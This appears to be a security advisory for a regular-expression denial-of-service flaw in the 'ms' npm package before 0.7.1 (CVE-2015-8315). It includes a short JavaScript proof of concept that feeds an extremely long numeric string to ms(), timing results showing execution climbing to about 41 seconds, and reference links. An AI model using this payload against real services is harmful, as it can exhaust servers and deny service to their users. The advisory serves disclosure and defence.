Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s

References

• https://nvd.nist.gov/vuln/detail/CVE-2015-8315
• https://support.f5.com/csp/article/K46337613?utm_source=f5support&utm_medium=RSS
• http://www.openwall.com/lists/oss-security/2016/04/20/11
• https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389